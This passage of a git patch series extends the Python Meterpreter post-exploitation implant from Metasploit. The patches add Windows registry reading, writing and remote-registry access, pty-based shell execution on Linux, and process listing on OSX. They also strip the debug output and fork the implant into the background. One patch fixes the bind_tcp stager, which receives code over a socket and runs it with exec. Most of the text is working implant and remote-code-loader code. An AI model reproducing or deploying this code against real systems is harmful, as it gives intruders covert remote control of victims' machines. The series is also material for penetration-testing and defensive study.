3) - # Registry TLV_TYPE_HKEY = TLV_META_TYPE_UINT | 1000 TLV_TYPE_ROOT_KEY = TLV_TYPE_HKEY @@ -200,6 +230,19 @@ TLV_TYPE_EVENT_DATA = TLV_META_TYPE_RAW | 4013 TLV_TYPE_POWER_FLAGS = TLV_META_TYPE_UINT | 4100 TLV_TYPE_POWER_REASON = TLV_META_TYPE_UINT | 4101 +## +# Sys +## +PROCESS_EXECUTE_FLAG_HIDDEN = (1 << 0) +PROCESS_EXECUTE_FLAG_CHANNELIZED = (1 << 1) +PROCESS_EXECUTE_FLAG_SUSPENDED = (1 << 2) +PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN = (1 << 3) + +PROCESS_ARCH_UNKNOWN = 0 +PROCESS_ARCH_X86 = 1 +PROCESS_ARCH_X64 = 2 +PROCESS_ARCH_IA64 = 3 + ## # Errors ## @@ -228,6 +271,13 @@ def get_stat_buffer(path): st_buf += struct.pack(' Date: Fri, 9 Aug 2013 08:39:05 -0400 Subject: [PATCH 3/9] Add Windows registry manipulation support. --- data/meterpreter/ext_server_stdapi.py | 193 ++++++++++++++++++++++++-- data/meterpreter/meterpreter.py | 7 + 2 files changed, 192 insertions(+), 8 deletions(-) diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py index f0b49f1145..9bee1cd6c3 100644 --- a/data/meterpreter/ext_server_stdapi.py +++ b/data/meterpreter/ext_server_stdapi.py @@ -18,6 +18,12 @@ try: except ImportError: has_pwd = False +try: + import _winreg as winreg + has_winreg = True +except ImportError: + has_winreg = False + class PROCESSENTRY32(ctypes.Structure): _fields_ = [("dwSize", ctypes.c_uint32), ("cntUsage", ctypes.c_uint32), @@ -142,14 +148,15 @@ TLV_TYPE_CONNECT_RETRIES = TLV_META_TYPE_UINT | 1504 TLV_TYPE_SHUTDOWN_HOW = TLV_META_TYPE_UINT | 1530 # Registry -TLV_TYPE_HKEY = TLV_META_TYPE_UINT | 1000 -TLV_TYPE_ROOT_KEY = TLV_TYPE_HKEY -TLV_TYPE_BASE_KEY = TLV_META_TYPE_STRING | 1001 -TLV_TYPE_PERMISSION = TLV_META_TYPE_UINT | 1002 -TLV_TYPE_KEY_NAME = TLV_META_TYPE_STRING | 1003 -TLV_TYPE_VALUE_NAME = TLV_META_TYPE_STRING | 1010 -TLV_TYPE_VALUE_TYPE = TLV_META_TYPE_UINT | 1011 -TLV_TYPE_VALUE_DATA = TLV_META_TYPE_RAW | 1012 +TLV_TYPE_HKEY = TLV_META_TYPE_UINT | 1000 +TLV_TYPE_ROOT_KEY = TLV_TYPE_HKEY +TLV_TYPE_BASE_KEY = TLV_META_TYPE_STRING | 1001 +TLV_TYPE_PERMISSION = TLV_META_TYPE_UINT | 1002 +TLV_TYPE_KEY_NAME = TLV_META_TYPE_STRING | 1003 +TLV_TYPE_VALUE_NAME = TLV_META_TYPE_STRING | 1010 +TLV_TYPE_VALUE_TYPE = TLV_META_TYPE_UINT | 1011 +TLV_TYPE_VALUE_DATA = TLV_META_TYPE_RAW | 1012 +TLV_TYPE_TARGET_HOST = TLV_META_TYPE_STRING | 1013 # Config TLV_TYPE_COMPUTER_NAME = TLV_META_TYPE_STRING | 1040 @@ -634,3 +641,173 @@ def stdapi_net_socket_tcp_shutdown(request, response): channel = meterpreter.channels[channel_id] channel.close() return ERROR_SUCCESS, response + +@meterpreter.register_function_windll +def stdapi_registry_close_key(request, response): + hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] + result = ctypes.windll.advapi32.RegCloseKey(hkey) + return ERROR_SUCCESS, response + +@meterpreter.register_function_windll +def stdapi_registry_create_key(request, response): + root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value'] + base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value'] + permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS) + res_key = ctypes.c_void_p() + if ctypes.windll.advapi32.RegCreateKeyExA(root_key, base_key, 0, None, 0, permission, None, ctypes.byref(res_key), None) == ERROR_SUCCESS: + response += tlv_pack(TLV_TYPE_HKEY, res_key.value) + return ERROR_SUCCESS, response + return ERROR_FAILURE, response + +@meterpreter.register_function_windll +def stdapi_registry_delete_key(request, response): + root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value'] + base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value'] + flags = packet_get_tlv(request, TLV_TYPE_FLAGS)['value'] + if (flags & DELETE_KEY_FLAG_RECURSIVE): + result = ctypes.windll.shlwapi.SHDeleteKeyA(root_key, base_key) + else: + result = ctypes.windll.advapi32.RegDeleteKeyA(root_key, base_key) + return result, response + +@meterpreter.register_function_windll +def stdapi_registry_delete_value(request, response): + root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value'] + value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value'] + result = ctypes.windll.advapi32.RegDeleteValueA(root_key, value_name) + return result, response + +@meterpreter.register_function_windll +def stdapi_registry_enum_key(request, response): + ERROR_MORE_DATA = 0xea + ERROR_NO_MORE_ITEMS = 0x0103 + hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] + name = (ctypes.c_char * 4096)() + index = 0 + tries = 0 + while True: + result = ctypes.windll.advapi32.RegEnumKeyA(hkey, index, name, ctypes.sizeof(name)) + if result == ERROR_MORE_DATA: + if tries > 3: + break + name = (ctypes.c_char * (ctypes.sizeof(name) * 2)) + tries += 1 + continue + elif result == ERROR_NO_MORE_ITEMS: + result = ERROR_SUCCESS + break + elif result != ERROR_SUCCESS: + break + tries = 0 + response += tlv_pack(TLV_TYPE_KEY_NAME, ctypes.string_at(name)) + index += 1 + return result, response + +@meterpreter.register_function_windll +def stdapi_registry_enum_value(request, response): + ERROR_MORE_DATA = 0xea + ERROR_NO_MORE_ITEMS = 0x0103 + hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] + name = (ctypes.c_char * 4096)() + name_sz = ctypes.c_uint32() + index = 0 + tries = 0 + while True: + name_sz.value = ctypes.sizeof(name) + result = ctypes.windll.advapi32.RegEnumValueA(hkey, index, name, ctypes.byref(name_sz), None, None, None, None) + if result == ERROR_MORE_DATA: + if tries > 3: + break + name = (ctypes.c_char * (ctypes.sizeof(name) * 3)) + tries += 1 + continue + elif result == ERROR_NO_MORE_ITEMS: + result = ERROR_SUCCESS + break + elif result != ERROR_SUCCESS: + break + tries = 0 + response += tlv_pack(TLV_TYPE_VALUE_NAME, ctypes.string_at(name)) + index += 1 + return result, response + +@meterpreter.register_function_windll +def stdapi_registry_load_key(request, response): + root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY) + sub_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY) + file_name = packet_get_tlv(request, TLV_TYPE_FILE_PATH) + result = ctypes.windll.advapi32.RegLoadKeyA(root_key, sub_key, file_name) + return result, response + +@meterpreter.register_function_windll +def stdapi_registry_open_key(request, response): + root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value'] + base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value'] + permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS) + handle_id = ctypes.c_void_p() + if ctypes.windll.advapi32.RegOpenKeyExA(root_key, base_key, 0, permission, ctypes.byref(handle_id)) == ERROR_SUCCESS: + response += tlv_pack(TLV_TYPE_HKEY, handle_id.value) + return ERROR_SUCCESS, response + return ERROR_FAILURE, response + +@meterpreter.register_function_windll +def stdapi_registry_open_remote_key(request, response): + target_host = packet_get_tlv(request, TLV_TYPE_TARGET_HOST)['value'] + root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value'] + result_key = ctypes.c_void_p() + result = ctypes.windll.advapi32.RegConnectRegistry(target_host, root_key, ctypes.byref(result_key)) + if (result == ERROR_SUCCESS): + response += tlv_pack(TLV_TYPE_HKEY, result_key.value) + return ERROR_SUCCESS, response + return ERROR_FAILURE, response + +@meterpreter.register_function_windll +def stdapi_registry_query_class(request, response): + hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] + value_data = (ctypes.c_char * 4096)() + value_data_sz = ctypes.c_uint32() + value_data_sz.value = ctypes.sizeof(value_data) + result = ctypes.windll.advapi32.RegQueryInfoKeyA(hkey, value_data, ctypes.byref(value_data_sz), None, None, None, None, None, None, None, None, None) + if result == ERROR_SUCCESS: + response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data)) + return ERROR_SUCCESS, response + return ERROR_FAILURE, response + +@meterpreter.register_function_windll +def stdapi_registry_query_value(request, response): + REG_SZ = 1 + REG_DWORD = 4 + hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] + value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value'] + value_type = ctypes.c_uint32() + value_type.value = 0 + value_data = (ctypes.c_ubyte * 4096)() + value_data_sz = ctypes.c_uint32() + value_data_sz.value = ctypes.sizeof(value_data) + result = ctypes.windll.advapi32.RegQueryValueExA(hkey, value_name, 0, ctypes.byref(value_type), value_data, ctypes.byref(value_data_sz)) + if result == ERROR_SUCCESS: + response += tlv_pack(TLV_TYPE_VALUE_TYPE, value_type.value) + if value_type.value == REG_SZ: + response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data) + '\x00') + elif value_type.value == REG_DWORD: + response += tlv_pack(TLV_TYPE_VALUE_DATA, ''.join(value_data.value)[:4]) + else: + response += tlv_pack(TLV_TYPE_VALUE_DATA, ''.join(value_data.value)[:value_data_sz.value]) + return ERROR_SUCCESS, response + return ERROR_FAILURE, response + +@meterpreter.register_function_windll +def stdapi_registry_set_value(request, response): + hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] + value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value'] + value_type = packet_get_tlv(request, TLV_TYPE_VALUE_TYPE)['value'] + value_data = packet_get_tlv(request, TLV_TYPE_VALUE_DATA)['value'] + result = ctypes.windll.advapi32.RegSetValueExA(hkey, value_name, 0, value_type, value_data, len(value_data)) + return result, response + +@meterpreter.register_function_windll +def stdapi_registry_unload_key(request, response): + root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value'] + base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value'] + result = ctypes.windll.advapi32.RegUnLoadKeyA(root_key, base_key) + return result, response diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index 78d54f8cec..fb9adfb81e 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -3,12 +3,15 @@ import os import sys import code import random +import ctypes import select import socket import struct import threading import subprocess +has_windll = hasattr(ctypes, 'windll') + # # Constants # @@ -183,6 +186,10 @@ class PythonMeterpreter(object): def register_function(self, func): self.extension_functions[func.__name__] = func + def register_function_windll(self, func): + if has_windll: + self.register_function(func) + def run(self): while self.running: if len(select.select([self.socket], [], [], 0)[0]): From dd2438dd1e5bc40b4e60d3db1a616f3fa020335f Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Fri, 9 Aug 2013 10:39:19 -0400 Subject: [PATCH 4/9] Improve process execution on Linux. --- data/meterpreter/ext_server_stdapi.py | 33 ++++++++++++++++++++++++--- data/meterpreter/meterpreter.py | 2 ++ 2 files changed, 32 insertions(+), 3 deletions(-) diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py index 9bee1cd6c3..b3718729bb 100644 --- a/data/meterpreter/ext_server_stdapi.py +++ b/data/meterpreter/ext_server_stdapi.py @@ -12,12 +12,24 @@ import subprocess has_windll = hasattr(ctypes, 'windll') +try: + import pty + has_pty = True +except ImportError: + has_pty = False + try: import pwd has_pwd = True except ImportError: has_pwd = False +try: + import termios + has_termios = True +except ImportError: + has_termios = False + try: import _winreg as winreg has_winreg = True @@ -371,10 +383,25 @@ def stdapi_sys_process_execute(request, response): flags = packet_get_tlv(request, TLV_TYPE_PROCESS_FLAGS)['value'] if len(cmd) == 0: return ERROR_FAILURE, response - args = [cmd] - args.extend(shlex.split(raw_args)) + if os.path.isfile('/bin/sh'): + args = ['/bin/sh', '-c', cmd, raw_args] + else: + args = [cmd] + args.extend(shlex.split(raw_args)) if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED): - proc_h = STDProcess(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + if has_pty: + master, slave = pty.openpty() + if has_termios: + settings = termios.tcgetattr(master) + settings[3] = settings[3] & ~termios.ECHO + termios.tcsetattr(master, termios.TCSADRAIN, settings) + proc_h = STDProcess(args, stdin=slave, stdout=slave, stderr=slave, bufsize=0) + proc_h.stdin = os.fdopen(master, 'wb') + proc_h.stdout = os.fdopen(master, 'rb') + proc_h.stderr = open(os.devnull, 'rb') + else: + proc_h = STDProcess(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + proc_h.start() else: proc_h = subprocess.Popen(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) proc_h_id = len(meterpreter.processes) diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index fb9adfb81e..c9ec8f0640 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -167,6 +167,8 @@ class STDProcessBuffer(threading.Thread): class STDProcess(subprocess.Popen): def __init__(self, *args, **kwargs): subprocess.Popen.__init__(self, *args, **kwargs) + + def start(self): self.stdout_reader = STDProcessBuffer(self.stdout, lambda: self.poll() == None) self.stdout_reader.start() self.stderr_reader = STDProcessBuffer(self.stderr, lambda: self.poll() == None) From fdc9312272276e3d691e4fd04a30008b7a80e9f0 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Mon, 12 Aug 2013 16:38:15 -0400 Subject: [PATCH 5/9] Add process enumeration via PS for OSX. --- data/meterpreter/ext_server_stdapi.py | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py index b3718729bb..aa76178ce7 100644 --- a/data/meterpreter/ext_server_stdapi.py +++ b/data/meterpreter/ext_server_stdapi.py @@ -450,6 +450,25 @@ def stdapi_sys_process_get_processes_via_proc(request, response): response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup) return ERROR_SUCCESS, response +def stdapi_sys_process_get_processes_via_ps(request, response): + ps_args = ['ps', 'ax', '-w', '-o', 'pid,ppid,user,command'] + proc_h = subprocess.Popen(ps_args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + ps_output = proc_h.stdout.read() + ps_output = ps_output.split('\n') + ps_output.pop(0) + for process in ps_output: + process = process.split() + if len(process) < 4: + break + pgroup = '' + pgroup += tlv_pack(TLV_TYPE_PID, int(process[0])) + pgroup += tlv_pack(TLV_TYPE_PARENT_PID, int(process[1])) + pgroup += tlv_pack(TLV_TYPE_USER_NAME, process[2]) + pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, os.path.basename(process[3])) + pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, ' '.join(process[3:])) + response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup) + return ERROR_SUCCESS, response + def stdapi_sys_process_get_processes_via_windll(request, response): TH32CS_SNAPPROCESS = 2 PROCESS_QUERY_INFORMATION = 0x0400 @@ -530,6 +549,8 @@ def stdapi_sys_process_get_processes(request, response): return stdapi_sys_process_get_processes_via_proc(request, response) elif has_windll: return stdapi_sys_process_get_processes_via_windll(request, response) + else: + return stdapi_sys_process_get_processes_via_ps(request, response) return ERROR_FAILURE, response @meterpreter.register_function From fcf2d4bf191f7a732c143c775aeb178ebed93961 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Tue, 13 Aug 2013 12:50:52 -0400 Subject: [PATCH 6/9] Remove debug print and fix channel additions. --- data/meterpreter/ext_server_stdapi.py | 14 ++++---------- data/meterpreter/meterpreter.py | 26 ++++++++++++++++---------- 2 files changed, 20 insertions(+), 20 deletions(-) diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py index aa76178ce7..702f8b013b 100644 --- a/data/meterpreter/ext_server_stdapi.py +++ b/data/meterpreter/ext_server_stdapi.py @@ -306,8 +306,7 @@ def channel_create_stdapi_fs_file(request, response): else: fmode = 'rb' file_h = open(fpath, fmode) - channel_id = len(meterpreter.channels) - meterpreter.channels[channel_id] = file_h + channel_id = meterpreter.add_channel(file_h) response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) return ERROR_SUCCESS, response @@ -331,8 +330,7 @@ def channel_create_stdapi_net_tcp_client(request, response): pass if not connected: return ERROR_CONNECTION_ERROR, response - channel_id = len(meterpreter.channels) - meterpreter.channels[channel_id] = sock + channel_id = meterpreter.add_channel(sock) response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) return ERROR_SUCCESS, response @@ -366,8 +364,6 @@ def stdapi_sys_process_close(request, response): if not proc_h_id: return ERROR_SUCCESS, response proc_h_id = proc_h_id['value'] - if not proc_h_id in meterpreter.processes: - print("[-] trying to close non-existent channel: " + str(proc_h_id)) proc_h = meterpreter.channels[proc_h_id] proc_h.kill() return ERROR_SUCCESS, response @@ -404,13 +400,11 @@ def stdapi_sys_process_execute(request, response): proc_h.start() else: proc_h = subprocess.Popen(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) - proc_h_id = len(meterpreter.processes) - meterpreter.processes[proc_h_id] = proc_h + proc_h_id = meterpreter.add_process(proc_h) response += tlv_pack(TLV_TYPE_PID, proc_h.pid) response += tlv_pack(TLV_TYPE_PROCESS_HANDLE, proc_h_id) if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED): - channel_id = len(meterpreter.channels) - meterpreter.channels[channel_id] = proc_h + channel_id = meterpreter.add_channel(proc_h) response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) return ERROR_SUCCESS, response diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index c9ec8f0640..ba3f0e0534 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -192,6 +192,20 @@ class PythonMeterpreter(object): if has_windll: self.register_function(func) + def add_channel(self, channel): + idx = 0 + while idx in self.channels: + idx += 1 + self.channels[idx] = channel + return idx + + def add_process(self, process): + idx = 0 + while idx in self.processes: + idx += 1 + self.processes[idx] = process + return idx + def run(self): while self.running: if len(select.select([self.socket], [], [], 0)[0]): @@ -203,10 +217,8 @@ class PythonMeterpreter(object): request = '' while len(request) < req_length: request += self.socket.recv(4096) - print('[+] received ' + str(len(request)) + ' bytes') response = self.create_response(request) self.socket.send(response) - print('[+] sent ' + str(len(response)) + ' bytes') else: channels_for_removal = [] channel_ids = self.channels.keys() # iterate over the keys because self.channels could be modified if one is closed @@ -241,7 +253,6 @@ class PythonMeterpreter(object): pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id()) pkt = struct.pack('>I', len(pkt) + 4) + pkt self.socket.send(pkt) - print('[+] sent ' + str(len(pkt)) + ' bytes') def handle_dead_resource_channel(self, channel_id): del self.channels[channel_id] @@ -253,7 +264,6 @@ class PythonMeterpreter(object): pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) pkt = struct.pack('>I', len(pkt) + 4) + pkt self.socket.send(pkt) - print('[+] sent ' + str(len(pkt)) + ' bytes') def _core_loadlib(self, request, response): data_tlv = packet_get_tlv(request, TLV_TYPE_DATA) @@ -331,6 +341,7 @@ class PythonMeterpreter(object): if channel_id not in self.channels: return ERROR_FAILURE, response channel = self.channels[channel_id] + data = '' if isinstance(channel, file): data = channel.read(length) elif isinstance(channel, STDProcess): @@ -380,22 +391,17 @@ class PythonMeterpreter(object): reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID) resp += tlv_pack(reqid_tlv) - print("[*] running method: " + method_tlv['value']) if method_tlv['value'] in self.extension_functions: handler = self.extension_functions[method_tlv['value']] try: result, resp = handler(request, resp) except Exception, err: - print("[-] method: " + method_tlv['value'] + " encountered an exception: " + repr(err)) result = ERROR_FAILURE else: result = ERROR_FAILURE - if result == ERROR_FAILURE: - print("[*] method: " + method_tlv['value'] + " failed") - resp += tlv_pack(TLV_TYPE_RESULT, result) resp = struct.pack('>I', len(resp) + 4) + resp return resp -print("[+] starting meterpreter") + met = PythonMeterpreter(s) met.run() From 71285f395de4aa1214abbadc648e7f057937052f Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 15 Aug 2013 09:27:13 -0400 Subject: [PATCH 7/9] Sort import statements alphabetically. --- data/meterpreter/ext_server_stdapi.py | 12 ++++++------ data/meterpreter/meterpreter.py | 8 ++++---- 2 files changed, 10 insertions(+), 10 deletions(-) diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py index 702f8b013b..63b2792a00 100644 --- a/data/meterpreter/ext_server_stdapi.py +++ b/data/meterpreter/ext_server_stdapi.py @@ -1,14 +1,14 @@ -import os -import sys -import shlex import ctypes -import socket -import struct -import shutil import fnmatch import getpass +import os import platform +import shlex +import shutil +import socket +import struct import subprocess +import sys has_windll = hasattr(ctypes, 'windll') diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index ba3f0e0534..8d58cc7e5f 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -1,14 +1,14 @@ #!/usr/bin/python -import os -import sys import code -import random import ctypes +import os +import random import select import socket import struct -import threading import subprocess +import sys +import threading has_windll = hasattr(ctypes, 'windll') From ffac6478cce96d383c8f624d528b041fa884225d Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Wed, 21 Aug 2013 14:59:30 -0400 Subject: [PATCH 8/9] Un typo a client and server socket mixup. --- modules/payloads/stagers/python/bind_tcp.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/payloads/stagers/python/bind_tcp.rb b/modules/payloads/stagers/python/bind_tcp.rb index e5353ce301..f3ec48e0fd 100644 --- a/modules/payloads/stagers/python/bind_tcp.rb +++ b/modules/payloads/stagers/python/bind_tcp.rb @@ -39,7 +39,7 @@ module Metasploit3 cmd += "s.listen(1)\n" cmd += "c,a=s.accept()\n" cmd += "l=struct.unpack('>I',c.recv(4))[0]\n" - cmd += "d=s.recv(4096)\n" + cmd += "d=c.recv(4096)\n" cmd += "while len(d)!=l:\n" cmd += "\td+=c.recv(4096)\n" cmd += "exec(d,{'s':c})\n" From f490277c6dc280dfee6e5a6b6a1d5260d81b751a Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Wed, 28 Aug 2013 17:19:49 -0400 Subject: [PATCH 9/9] Always os.fork() when available. --- data/meterpreter/meterpreter.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index 8d58cc7e5f..0cbdf74c92 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -403,5 +403,6 @@ class PythonMeterpreter(object): resp = struct.pack('>I', len(resp) + 4) + resp return resp -met = PythonMeterpreter(s) -met.run() +if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0): + met = PythonMeterpreter(s) + met.run()